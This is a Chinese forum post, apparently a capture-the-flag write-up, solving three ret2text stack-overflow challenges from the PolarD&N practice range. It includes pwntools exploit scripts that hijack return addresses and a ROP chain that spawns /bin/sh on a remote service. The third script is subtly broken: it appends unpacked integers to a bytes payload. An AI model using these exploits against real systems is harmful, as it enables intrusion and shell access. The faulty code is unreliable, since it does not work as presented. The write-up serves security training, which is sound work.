-
-
[分享]Pwn入门练习WP
-
发表于: 43分钟前 27
-
PS:这里是采用的PolarD&N靶场中Pwn相关题目做的练习,主要聚焦了栈溢出漏洞中的ret2text的三个练习,由于没有找到合适的函数调用栈的图解,里面对于栈溢出的变化过程的描述也比较粗糙
第一题:简单溢出
这里先把题目文件下载下来,然后查看一下文件信息
file hahaha checksec --file=hahaha

可以看到是64位的可执行文件,然后保护措施也只有NX,这里用64位IDA来看它的C语言源码


可以看到main函数中内容很简单,栈溢出漏洞也很明显,定义了一个字符变量v4长度限制是48个字节,但是__isoc99_scanf()函数获取字符没有长度限制,因此可以构成溢出,边栏处有个fact函数,这个函数内有系统函数system("/bin/sh"),是典型的ret2text,下面构造exploit
from pwn import *
#io = process('./hahaha') 这里用于本地测试脚本
io = remote('IP',port) #IP和端口改成服务器分配的即可
padding = 0x08 + 0x30 #计算偏移量,这里0x08是64位系统下rbp占用宽度,0x30是v4局部变量占用的宽度
system_addr = 0x0000000000400596 #这里是fact函数在的内存位置
payload = b'A' * padding + p64(system_addr) #这里用字符A来占满局部变量和rbp指向的栈的位置,然后溢出部分的system_addr就会进入ret指令流中
io.sendline(payload)
io.interactive()运行代码即可拿到flag
python3 exp.py ls cat flag

第二题:小狗汪汪汪
同样文件下载下来后查看信息
file woof checksec --file=woof

可以看到这是32位程序,然后依然只有NX保护开启,下面用32位的IDA分析



这里重点分析dog()和getshell()这两个函数,可以注意到getshell()这个函数里面又有系统函数system(),并且依旧调用了"/bin/sh"这个shell路径,再看dog()函数,局部变量s给它分配了9字节空间,然后gets()函数本身没有长度限制,可以任意输入,因此导致了栈溢出,综上可以联想到和第一题一样是ret2text类型的溢出漏洞,这里exploit和上面的构造思路如初一折不在赘述,只给出最终的exploit结果
from pwn import *
#io = process('./woof')
io = remote('IP',port)
padding = 0x04 + 0x09
getshell_addr = 0x0804859B
payload = b'A' * padding + p32(getshell_addr)
io.sendline(payload)
io.interactive()保存运行即可,和上一题相同
第三题:x64
前面套路一样的,下载文件,查看信息,这个程序是64位的,然后保护措施都没开,这里不过多赘述了
直接从IDA64开始分析

其实通过前两题也可以知道一般init()函数都没太大用,只是用来初始化一些数据的,因此我们去看一下function()函数内部

这里就可以看到问题了,局部变量buf分配的空间是80h,然而read()函数限制的大小是0x200要远远大于buf分配空间,因此可以输出更多字符来造成溢出,现在我们来看一下侧栏中system函数

注意到system函数并没有包含shell的路径,而是接收一个command参数,从而执行command参数所传递的命令,由于64位系统下参数的传递是具有顺序的,顺序为rdi,rsi,rdx,rcx,r8和r9,因此command这个参数会最传递给rdi,但是我们想要能够执行的命令是在栈中,这样方便我们操作,于是我们可以通过控制传入的参数从而控制程序,因此在溢出超过rbp指向的栈底到达被调用函数的ret返回值地址时,可以调用pop rdi指令,我们需要找到是否有pop rdi指令的地址
ROPgadget --binary ./x64 --only "pop|ret"

找到了地址为0x00000000004007e3,然后我们再看能否在源文件内找到类似shell的地址

可以看见有/bin/sh的地址,那这就好办了,我们只需要将rsp寻址的时候将pop rdi的地址放入被调用函数的ret返回值存储空间中,然后被调用函数的参数依次放入/bin/sh和system函数的地址,就能保证将/bin/sh的地址弹入rdi中然后被system函数执行最终拿到shell,下面构造exploit
from pwn import *
#io = process('./x64')
io = remote('IP',port)
padding = 0x08 + 0x80
binsh_addr = 0x0000000000601060
rdi_addr = 0x00000000004007e3
system_addr = 0x0000000000400560
#这里按照前面的思路分析,根据函数调用栈的变化依次加上各个地址即可
payload = b'A' * padding
payload += rdi_addr
payload += binsh_addr
payload += system_addr
io.sendline(payload)
io.interactive()将IP和port换成服务器提供的即可拿到flag
一个小总结:栈溢出的常见函数read()和gets()以及__isoc99_scanf(),然后ret2text的一个重点就是没有构造新的代码,利用的是程序中原有的代码进行了重装和组合,因此程序中要有system之类的系统函数,还有shell地址,才能进行利用,利用的方式也要根据函数调用栈的原理来构造。